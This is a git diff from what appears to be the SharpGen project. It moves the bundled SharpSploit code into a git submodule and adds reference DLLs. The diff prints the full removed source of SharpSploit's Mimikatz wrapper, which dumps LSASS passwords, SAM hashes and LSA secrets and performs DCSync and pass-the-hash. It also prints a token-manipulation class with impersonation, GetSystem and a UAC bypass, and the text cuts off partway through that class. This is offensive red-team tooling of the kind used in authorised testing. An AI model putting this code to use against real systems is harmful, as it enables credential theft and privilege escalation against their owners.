diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..8f5d556 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,4 @@ +[submodule "Source/SharpSploit"] + path = Source/SharpSploit + url = https://github.com/cobbr/SharpSploit.git + branch = master diff --git a/README.md b/README.md index f1b6b4a..d79a55c 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,7 @@ The most basic usage of SharpGen would be to provide SharpGen an output filename ``` cobbr@mac:~ > git clone https://github.com/cobbr/SharpGen cobbr@mac:~ > cd SharpGen +cobbr@mac:~/SharpGen > git submodule update --init --recursive cobbr@mac:~/SharpGen > dotnet build cobbr@mac:~/SharpGen > dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe "Console.WriteLine(Mimikatz.LogonPasswords());" [+] Compiling source: diff --git a/References/net35/System.DirectoryServices.Protocols.dll b/References/net35/System.DirectoryServices.Protocols.dll new file mode 100755 index 0000000..ef1b48d Binary files /dev/null and b/References/net35/System.DirectoryServices.Protocols.dll differ diff --git a/References/net35/System.XML.dll b/References/net35/System.XML.dll new file mode 100755 index 0000000..7dec7b5 Binary files /dev/null and b/References/net35/System.XML.dll differ diff --git a/References/net40/System.DirectoryServices.Protocols.dll b/References/net40/System.DirectoryServices.Protocols.dll new file mode 100755 index 0000000..64649eb Binary files /dev/null and b/References/net40/System.DirectoryServices.Protocols.dll differ diff --git a/References/net40/System.XML.dll b/References/net40/System.XML.dll new file mode 100755 index 0000000..bc09fc4 Binary files /dev/null and b/References/net40/System.XML.dll differ diff --git a/References/references.yml b/References/references.yml index 315f207..44f397b 100644 --- a/References/references.yml +++ b/References/references.yml @@ -16,9 +16,15 @@ - File: System.DirectoryServices.dll Framework: Net35 Enabled: true +- File: System.DirectoryServices.Protocols.dll + Framework: Net35 + Enabled: true - File: System.Management.Automation.dll Framework: Net35 Enabled: true +- File: System.XML.dll + Framework: Net35 + Enabled: true - File: mscorlib.dll Framework: Net40 Enabled: true @@ -37,6 +43,12 @@ - File: System.DirectoryServices.dll Framework: Net40 Enabled: true +- File: System.DirectoryServices.Protocols.dll + Framework: Net40 + Enabled: true - File: System.Management.Automation.dll Framework: Net40 - Enabled: true \ No newline at end of file + Enabled: true +- File: System.XML.dll + Framework: Net40 + Enabled: true diff --git a/SharpGen.csproj b/SharpGen.csproj index 4466962..4f9bca8 100644 --- a/SharpGen.csproj +++ b/SharpGen.csproj @@ -59,77 +59,84 @@ + + + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Source/SharpSploit b/Source/SharpSploit new file mode 160000 index 0000000..ec3e799 --- /dev/null +++ b/Source/SharpSploit @@ -0,0 +1 @@ +Subproject commit ec3e7999502c51e481915fd1f4b028d8c0ff3d5c diff --git a/Source/SharpSploit/Credentials/Mimikatz.cs b/Source/SharpSploit/Credentials/Mimikatz.cs deleted file mode 100644 index 13d2df0..0000000 --- a/Source/SharpSploit/Credentials/Mimikatz.cs +++ /dev/null @@ -1,209 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Text; -using System.Net.NetworkInformation; -using System.Runtime.InteropServices; - -using SharpSploit.Misc; -using SharpSploit.Execution; - -namespace SharpSploit.Credentials -{ - /// - /// (SharpSploit.Credentials.)Mimikatz is a library for executing Mimikatz functions. SharpSploit's implementation - /// uses a PE Loader to execute Mimikatz functions. This is a wrapper class that loads the PE and executes user- - /// specified Mimikatz functions - /// - /// - /// Mimikatz is a tool for playing with credentials in Windows, written by Benjamin Delpy (@gentilkiwi). (Found - /// at https://github.com/gentilkiwi/mimikatz). - /// SharpSploit's PE Loader is adapted from work by Casey Smith (@subtee). (No longer available at original location.) - /// This wrapper class is adapted from Chris Ross (@xorrior)'s implementation. (Found - /// at https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader) - /// - public static class Mimikatz - { - private static byte[] PEBytes32 { get; set; } - private static byte[] PEBytes64 { get; set; } - - private static PE MimikatzPE { get; set; } = null; - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate IntPtr MimikatzType(IntPtr command); - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command. - /// - /// Mimikatz command to be executed. - /// Mimikatz output. - public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords") - { - // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames())); - if (MimikatzPE == null) - { - string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames(); - if (IntPtr.Size == 4 && MimikatzPE == null) - { - if (PEBytes32 == null) - { - PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll"); - if (PEBytes32 == null) { return ""; } - } - MimikatzPE = PE.Load(PEBytes32); - } - else if (IntPtr.Size == 8 && MimikatzPE == null) - { - if (PEBytes64 == null) - { - PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll"); - if (PEBytes64 == null) { return ""; } - } - MimikatzPE = PE.Load(PEBytes64); - } - } - if (MimikatzPE == null) { return ""; } - IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz"); - if (functionPointer == IntPtr.Zero) { return ""; } - - MimikatzType mimikatz = (MimikatzType) Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType)); - IntPtr input = Marshal.StringToHGlobalUni(Command); - try - { - IntPtr output = mimikatz(input); - return Marshal.PtrToStringUni(output); - } - catch (Exception e) - { - Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace); - return ""; - } - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatzcommand to retrieve plaintext - /// passwords from LSASS. Equates to `Command("privilege::debug sekurlsa::logonPasswords")`. (Requires Admin) - /// - /// Mimikatz output. - public static string LogonPasswords() - { - return Command("privilege::debug sekurlsa::logonPasswords"); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve password hashes - /// from the SAM database. Equates to `Command("privilege::debug lsadump::sam")`. (Requires Admin) - /// - /// Mimikatz output. - public static string SamDump() - { - return Command("privilege::debug lsadump::sam"); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve LSA secrets - /// stored in registry. Equates to `Command("privilege::debug lsadump::secrets")`. (Requires Admin) - /// - /// Mimikatz output. - public static string LsaSecrets() - { - return Command("privilege::debug lsadump::secrets"); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Domain - /// Cached Credentials hashes from registry. Equates to `Command("privilege::debug lsadump::cache")`. - /// (Requires Admin) - /// - /// Mimikatz output. - public static string LsaCache() - { - return Command("privilege::debug lsadump::cache"); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the Mimikatz command to retrieve Wdigest - /// credentials from registry. Equates to `Command("sekurlsa::wdigest")`. - /// - /// Mimikatz output. - public static string Wdigest() - { - return Command("sekurlsa::wdigest"); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes each of the builtin local commands (not DCSync). (Requires Admin) - /// - /// Mimikatz output. - public static string All() - { - StringBuilder builder = new StringBuilder(); - builder.AppendLine(LogonPasswords()); - builder.AppendLine(SamDump()); - builder.AppendLine(LsaSecrets()); - builder.AppendLine(LsaCache()); - builder.AppendLine(Wdigest()); - return builder.ToString(); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the "dcsync" module to retrieve the NTLM hash of a specified (or all) Domain user. (Requires Domain Admin) - /// - /// Username to retrieve NTLM hash for. "All" for all domain users. - /// Optionally specify an alternative fully qualified domain name. Default is current domain. - /// Optionally specify a specific Domain Controller to target for the dcsync. - /// The NTLM hash of the target user(s). - public static string DCSync(string user, string FQDN = null, string DC = null) - { - string command = "lsadump::dcsync"; - if (user.ToLower() == "all") - { - command += " /all"; - } - else - { - command += " /user:" + user; - } - if (FQDN != null) - { - command += " /domain:" + FQDN; - } - else - { - command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName; - } - if (DC != null) - { - command += " /dc:" + DC; - } - return Command(command); - } - - /// - /// Loads the Mimikatz PE with `PE.Load()` and executes the "pth" module to start a new process - /// as a user using an NTLM password hash for authentication. - /// - /// Username to authenticate as. - /// NTLM hash to authenticate the user. - /// Optionally specify an alternative fully qualified domain name. Default is current domain. - /// The command to execute as the specified user. - /// - public static string PassTheHash(string user, string NTLM, string FQDN = null, string run = "cmd.exe") - { - string command = "sekurlsa::pth"; - command += " /user:" + user; - if (FQDN != null) - { - command += " /domain:" + FQDN; - } - else - { - command += " /domain:" + IPGlobalProperties.GetIPGlobalProperties().DomainName; - } - command += " /ntlm:" + NTLM; - command += " /run:" + run; - return Command(command); - } - } -} diff --git a/Source/SharpSploit/Credentials/Tokens.cs b/Source/SharpSploit/Credentials/Tokens.cs deleted file mode 100644 index 0cfb202..0000000 --- a/Source/SharpSploit/Credentials/Tokens.cs +++ /dev/null @@ -1,658 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.Text; -using System.Linq; -using System.Diagnostics; -using System.ComponentModel; -using System.Security.Principal; -using System.Collections.Generic; -using System.Runtime.InteropServices; - -using SharpSploit.Execution; - -namespace SharpSploit.Credentials -{ - /// - /// Tokens is a library for token manipulation that can be used to impersonate other users, run commands as other user, - /// and/or to bypass UAC using token duplication. - /// - /// - /// Tokens is adapted from and borrows heavily from Alexander Leary's (@0xbadjuju) Tokenvator (Found - /// at https://github.com/0xbadjuju/Tokenvator). - /// - public class Tokens : IDisposable - { - private List OpenHandles = new List(); - - /// - /// Creates the Tokens class, attempts to obtain the current process' token, and obtain the SeDebugPrivilege. - /// - public Tokens() - { - IntPtr currentProcessToken = this.GetCurrentProcessToken(); - if (currentProcessToken == IntPtr.Zero) - { - return; - } - - this.EnableTokenPrivilege(ref currentProcessToken, "SeDebugPrivilege"); - } - - ~Tokens() - { - Dispose(); - } - - /// - /// Attempts to close all open handles. - /// - public void Dispose() - { - foreach (IntPtr handle in this.OpenHandles) - { - this.CloseHandle(handle, false); - } - this.OpenHandles.Clear(); - } - - /// - /// Gets the username of the currently used/impersonated token. - /// - /// Current username. - public string WhoAmI() - { - return WindowsIdentity.GetCurrent().Name; - } - - /// - /// Find a process owned by the specificied user and impersonate the token. Used to execute subsequent commands - /// as the specified user. (Requires Admin) - /// - /// User to impersonate. "DOMAIN\Username" format expected. - /// True if impersonation succeeds, false otherwise. - public bool ImpersonateUser(string Username) - { - List userProcessTokens = this.GetUserProcessTokensForUser(Username); - Console.WriteLine("Processes for " + Username + ": " + userProcessTokens.Count); - foreach (UserProcessToken userProcessToken in userProcessTokens) - { - Console.WriteLine("Attempting to impersonate: " + Username); - if (this.ImpersonateProcess((UInt32)userProcessToken.Process.Id)) - { - Console.WriteLine("Impersonated: " + WindowsIdentity.GetCurrent().Name); - return true; - } - } - return false; - } - - /// - /// Impersonate the token of the specified process. Used to execute subsequent commands as the user associated - /// with the token of the specified process. (Requires Admin) - /// - /// Process ID of the process to impersonate. - /// True if impersonation succeeds, false otherwise. - public bool ImpersonateProcess(UInt32 ProcessID) - { - IntPtr hProcessToken = GetTokenForProcess(ProcessID); - if (hProcessToken == IntPtr.Zero) - { - return false; - } - - Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); - IntPtr hDuplicateToken = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( - hProcessToken, - (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, - ref securityAttributes, - Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Win32.WinNT.TOKEN_TYPE.TokenPrimary, - out hDuplicateToken - ) - ) - { - Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - this.CloseHandle(hProcessToken); - return false; - } - this.OpenHandles.Add(hDuplicateToken); - - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken)) - { - Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - this.CloseHandle(hProcessToken); - this.CloseHandle(hDuplicateToken); - return false; - } - this.CloseHandle(hProcessToken); - return true; - } - - /// - /// Impersonate the SYSTEM user. Equates to `ImpersonateUser("NT AUTHORITY\SYSTEM")`. (Requires Admin) - /// - /// True if impersonation succeeds, false otherwise. - public bool GetSystem() - { - Console.WriteLine("Getting system..."); - SecurityIdentifier securityIdentifier = new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null); - NTAccount systemAccount = (NTAccount)securityIdentifier.Translate(typeof(NTAccount)); - Console.WriteLine("Impersonate " + systemAccount.ToString() + "..."); - - return this.ImpersonateUser(systemAccount.ToString()); - } - - /// - /// Bypasses UAC through token duplication and spawns a specified process. (Requires Admin) - /// - /// The binary to execute with high integrity. - /// Arguments to pass to the binary. - /// Path that the binary resides in. - /// Specify the process for which to perform token duplication. By deafult (0), all - /// appropriate processes will be tried. - /// True if UAC bypass succeeeds, false otherwise. - /// - /// Credit for the UAC bypass token duplication technique goes to James Forshaw (@tiraniddo). - /// Credit for the PowerShell implementation of this bypass goes to Matt Nelson (@enigma0x3). - /// - public bool BypassUAC(string Binary = "cmd.exe", string Arguments = "", string Path = "C:\\WINDOWS\\System32\\", int ProcessId = 0) - { - string Username = WindowsIdentity.GetCurrent().Name; - List processes = ProcessId == 0 ? - this.GetUserProcessTokens(true).Select(UPT => UPT.Process).ToList() : - new List { Process.GetProcessById(ProcessId) }; - Console.WriteLine("Elevated processes: " + processes.Count); - foreach (Process process in processes) - { - // Get PrimaryToken - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, false, (UInt32)process.Id); - if (hProcess == IntPtr.Zero) - { - Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - this.OpenHandles.Add(hProcess); - - IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Kernel32.OpenProcessToken(hProcess, (UInt32)Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, out hProcessToken)) - { - Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - this.OpenHandles.Add(hProcessToken); - this.CloseHandle(hProcess); - - Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes = new Win32.WinBase._SECURITY_ATTRIBUTES(); - IntPtr hDuplicateToken = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( - hProcessToken, - (UInt32)Win32.Advapi32.TOKEN_ALL_ACCESS, - ref securityAttributes, - Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Win32.WinNT.TOKEN_TYPE.TokenPrimary, - out hDuplicateToken) - ) - { - Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - this.OpenHandles.Add(hDuplicateToken); - this.CloseHandle(hProcessToken); - - // SetTokenInformation - Win32.WinNT._SID_IDENTIFIER_AUTHORITY pIdentifierAuthority = new Win32.WinNT._SID_IDENTIFIER_AUTHORITY(); - pIdentifierAuthority.Value = new byte[] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x10 }; - byte nSubAuthorityCount = 1; - IntPtr pSid = new IntPtr(); - if (!Win32.Advapi32.AllocateAndInitializeSid(ref pIdentifierAuthority, nSubAuthorityCount, 0x2000, 0, 0, 0, 0, 0, 0, 0, out pSid)) - { - Console.Error.WriteLine("AllocateAndInitializeSid() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - - Win32.WinNT._SID_AND_ATTRIBUTES sidAndAttributes = new Win32.WinNT._SID_AND_ATTRIBUTES(); - sidAndAttributes.Sid = pSid; - sidAndAttributes.Attributes = Win32.WinNT.SE_GROUP_INTEGRITY_32; - - Win32.WinNT._TOKEN_MANDATORY_LABEL tokenMandatoryLevel = new Win32.WinNT._TOKEN_MANDATORY_LABEL(); - tokenMandatoryLevel.Label = sidAndAttributes; - Int32 tokenMandatoryLabelSize = Marshal.SizeOf(tokenMandatoryLevel); - - if (Win32.NtDll.NtSetInformationToken(hDuplicateToken, 25, ref tokenMandatoryLevel, tokenMandatoryLabelSize) != 0) - { - Console.Error.WriteLine("NtSetInformationToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - - IntPtr hFilteredToken = IntPtr.Zero; - if (Win32.NtDll.NtFilterToken(hDuplicateToken, 4, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref hFilteredToken) != 0) - { - Console.Error.WriteLine("NtFilterToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - this.OpenHandles.Add(hFilteredToken); - this.CloseHandle(hDuplicateToken); - - // ImpersonateUser - Win32.WinBase._SECURITY_ATTRIBUTES securityAttributes2 = new Win32.WinBase._SECURITY_ATTRIBUTES(); - IntPtr hDuplicateToken2 = IntPtr.Zero; - if (!Win32.Advapi32.DuplicateTokenEx( - hFilteredToken, - (UInt32)(Win32.Advapi32.TOKEN_IMPERSONATE | Win32.Advapi32.TOKEN_QUERY), - ref securityAttributes2, - Win32.WinNT._SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, - Win32.WinNT.TOKEN_TYPE.TokenImpersonation, - out hDuplicateToken2) - ) - { - Console.Error.WriteLine("DuplicateTokenEx() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - this.OpenHandles.Add(hDuplicateToken2); - this.CloseHandle(hFilteredToken); - - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hDuplicateToken2)) - { - Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - - Win32.ProcessThreadsAPI._STARTUPINFO startupInfo = new Win32.ProcessThreadsAPI._STARTUPINFO(); - startupInfo.cb = (UInt32)Marshal.SizeOf(typeof(Win32.ProcessThreadsAPI._STARTUPINFO)); - Win32.ProcessThreadsAPI._PROCESS_INFORMATION processInformation = new Win32.ProcessThreadsAPI._PROCESS_INFORMATION(); - if (!Win32.Advapi32.CreateProcessWithLogonW(Environment.UserName, Environment.UserDomainName, "password", - 0x00000002, Path + Binary, Path + Binary + " " + Arguments, 0x04000000, IntPtr.Zero, Path, ref startupInfo, out processInformation)) - { - Console.Error.WriteLine("CreateProcessWithLogonW() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - continue; - } - - return this.RevertToSelf(); - } - return false; - - } - - /// - /// Makes a new token to run a specified function as a specified user with a specified password. Automatically calls - /// `RevertToSelf()` after executing the function. - /// - /// Type of object to be return by the Action function. - /// Username to execute Action as. - /// Domain to authenticate the user to. - /// Password to authenticate the user. - /// Action to perform as the user - /// LogonType to use. Defaults to LOGON32_LOGON_INTERACTIVE, which is suitable for local - /// actions. LOGON32_LOGON_NEW_CREDENTIALS is suitable to perform actions which require remote authentication. - /// Object returned by the Action function. - /// - /// Credit to https://github.com/mj1856/SimpleImpersonation for the awesome Func(T) idea. - /// - public T RunAs(string Username, string Domain, string Password, Func Action, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_INTERACTIVE) - { - IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Advapi32.LogonUserA( - Username, Domain, Password, - LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, - out hProcessToken)) - { - Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return default(T); - } - this.OpenHandles.Add(hProcessToken); - - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) - { - Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - this.CloseHandle(hProcessToken); - return default(T); - } - - T results = Action(); - this.RevertToSelf(); - return results; - } - - /// - /// Makes a new token with a specified username and password, and impersonates it to conduct future actions as - /// the specified user. - /// - /// Username to authenticate as. - /// Domain to authenticate the user to. - /// Password to authenticate the user. - /// LogonType to use. Defaults to LOGON32_LOGON_NEW_CREDENTIALS, which is suitable to - /// perform actions which require remote authentication. LOGON32_LOGON_INTERACTIVE is suitable for local actions - /// True if impersonation succeeds, false otherwise. - /// - /// Credit to @rsmudge for the technique detailed here: https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials - /// - public bool MakeToken(string Username, string Domain, string Password, Win32.Advapi32.LOGON_TYPE LogonType = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS) - { - IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Advapi32.LogonUserA( - Username, Domain, Password, - LogonType, Win32.Advapi32.LOGON_PROVIDER.LOGON32_PROVIDER_DEFAULT, - out hProcessToken) - ) - { - Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; - } - this.OpenHandles.Add(hProcessToken); - - if (!Win32.Advapi32.ImpersonateLoggedOnUser(hProcessToken)) - { - Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - this.CloseHandle(hProcessToken); - return false; - } - return true; - } - - /// - /// Ends the impersonation of any token, reverting back to the initial token associated with the current process. - /// Useful in conjuction with functions that impersonate a token and do not automatically RevertToSelf, such - /// as: `ImpersonateUser()`, `ImpersonateProcess()`, `GetSystem()`, and `MakeToken()`. - /// - /// True if RevertToSelf succeeds, false otherwise. - public bool RevertToSelf() - { - if (!Win32.Advapi32.RevertToSelf()) - { - Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; - } - return true; - } - - private List GetUserProcessTokensForUser(string Username, bool Elevated = false) - { - return this.GetUserProcessTokens(Elevated).Where(UP => UP.Username.ToLower() == Username.ToLower()).ToList(); - } - - private List GetUserProcessTokens(bool Elevated = false) - { - return Process.GetProcesses().Select(P => - { - try - { - return new UserProcessToken(P); - } - catch (CreateUserProcessTokenException e) - { - Console.Error.WriteLine("CreateUserProcessTokenException: " + e.Message); - return null; - } - }).Where(P => P != null).Where(P => (!Elevated || P.IsElevated)).ToList(); - } - - private static string ConvertTokenStatisticsToUsername(Win32.WinNT._TOKEN_STATISTICS tokenStatistics) - { - IntPtr lpLuid = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32.WinNT._LUID))); - Marshal.StructureToPtr(tokenStatistics.AuthenticationId, lpLuid, false); - if(lpLuid == IntPtr.Zero) - { - Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - IntPtr ppLogonSessionData = new IntPtr(); - if (Win32.Secur32.LsaGetLogonSessionData(lpLuid, out ppLogonSessionData) != 0) - { - Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - if (ppLogonSessionData == IntPtr.Zero) - { - Console.Error.WriteLine("LsaGetLogonSessionData() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - Win32.Secur32._SECURITY_LOGON_SESSION_DATA securityLogonSessionData = (Win32.Secur32._SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(ppLogonSessionData, typeof(Win32.Secur32._SECURITY_LOGON_SESSION_DATA)); - if (securityLogonSessionData.pSid == IntPtr.Zero || securityLogonSessionData.Username.Buffer == IntPtr.Zero || securityLogonSessionData.LoginDomain.Buffer == IntPtr.Zero) - { - Console.Error.WriteLine("PtrToStructure() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return ""; - } - - return Marshal.PtrToStringUni(securityLogonSessionData.LoginDomain.Buffer) + "\\" + Marshal.PtrToStringUni(securityLogonSessionData.Username.Buffer); - } - - private IntPtr GetCurrentProcessToken() - { - IntPtr currentProcessToken = new IntPtr(); - if (!Win32.Kernel32.OpenProcessToken(Process.GetCurrentProcess().Handle, Win32.Advapi32.TOKEN_ALL_ACCESS, out currentProcessToken)) - { - Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return IntPtr.Zero; - } - OpenHandles.Add(currentProcessToken); - return currentProcessToken; - } - - private static bool TokenIsElevated(IntPtr hToken) - { - UInt32 tokenInformationLength = (UInt32)Marshal.SizeOf(typeof(UInt32)); - IntPtr tokenInformation = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(UInt32))); - UInt32 returnLength; - - Boolean result = Win32.Advapi32.GetTokenInformation( - hToken, - Win32.WinNT._TOKEN_INFORMATION_CLASS.TokenElevationType, - tokenInformation, - tokenInformationLength, - out returnLength - ); - - switch ((Win32.WinNT._TOKEN_ELEVATION_TYPE)Marshal.ReadInt32(tokenInformation)) - { - case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: - return false; - case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: - return true; - case Win32.WinNT._TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: - return false; - default: - return true; - } - } - - private IntPtr GetTokenForProcess(UInt32 ProcessID) - { - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_INFORMATION, true, ProcessID); - if (hProcess == IntPtr.Zero) - { - Console.Error.WriteLine("OpenProcess() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return IntPtr.Zero; - } - this.OpenHandles.Add(hProcess); - - IntPtr hProcessToken = IntPtr.Zero; - if (!Win32.Kernel32.OpenProcessToken(hProcess, Win32.Advapi32.TOKEN_ALT, out hProcessToken)) - { - Console.Error.WriteLine("OpenProcessToken() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return IntPtr.Zero; - } - this.OpenHandles.Add(hProcessToken); - this.CloseHandle(hProcess); - - return hProcessToken; - } - - private bool CloseHandle(IntPtr handle, bool Remove = true) - { - if (Remove) { this.OpenHandles.Remove(handle); } - return Win32.Kernel32.CloseHandle(handle); - } - - private static List Privileges = new List { "SeAssignPrimaryTokenPrivilege", - "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege", - "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", - "SeCreateTokenPrivilege", "SeDebugPrivilege", "SeEnableDelegationPrivilege", - "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege", "SeIncreaseQuotaPrivilege", - "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", - "SeMachineAccountPrivilege", "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", - "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege", "SeSecurityPrivilege", - "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", - "SeSystemProfilePrivilege", "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", - "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege", - "SeUndockPrivilege", "SeUnsolicitedInputPrivilege" }; - - /// - /// Enables a specified security privilege for a specified token. - /// - /// Token to enable a security privilege for. - /// Privilege to enable. - /// True if enabling Token succeeds, false otherwise. - public bool EnableTokenPrivilege(ref IntPtr hToken, string Privilege) - { - if (!Privileges.Contains(Privilege)) - { - return false; - } - Win32.WinNT._LUID luid = new Win32.WinNT._LUID(); - if (!Win32.Advapi32.LookupPrivilegeValue(null, Privilege, ref luid)) - { - Console.Error.WriteLine("LookupPrivilegeValue() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; - } - - Win32.WinNT._LUID_AND_ATTRIBUTES luidAndAttributes = new Win32.WinNT._LUID_AND_ATTRIBUTES(); - luidAndAttributes.Luid = luid; - luidAndAttributes.Attributes = Win32.WinNT.SE_PRIVILEGE_ENABLED; - - Win32.WinNT._TOKEN_PRIVILEGES newState = new Win32.WinNT._TOKEN_PRIVILEGES(); - newState.PrivilegeCount = 1; - newState.Privileges = luidAndAttributes; - - Win32.WinNT._TOKEN_PRIVILEGES previousState = new Win32.WinNT._TOKEN_PRIVILEGES(); - UInt32 returnLength = 0; - if (!Win32.Advapi32.AdjustTokenPrivileges(hToken, false, ref newState, (UInt32)Marshal.SizeOf(newState), ref previousState, out returnLength)) - { - Console.Error.WriteLine("AdjustTokenPrivileges() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message); - return false; - } - - return true; - } - - internal class CreateUserProcessTokenException : Exception - { - public CreateUserProcessTokenException(string message) : base(message) { } - } - - public class UserProcessToken - { - public string Username { get; } - public Process Process { get; } - public Win32.WinNT.TOKEN_TYPE TokenType { get; } - public bool IsElevated { get; } - - public UserProcessToken(Process process) - { - this.Process = process; - IntPtr hProcess = Win32.Kernel32.OpenProcess(Win32.Kernel32.ProcessAccessFlags.PROCESS_QUERY_LIMITED_INFORMATION, true, (UInt32)this.Process.Id); - if (hProcess == IntPtr.Zero) - { - throw new CreateUserProcessTokenException("OpenProcess() Error: " + new 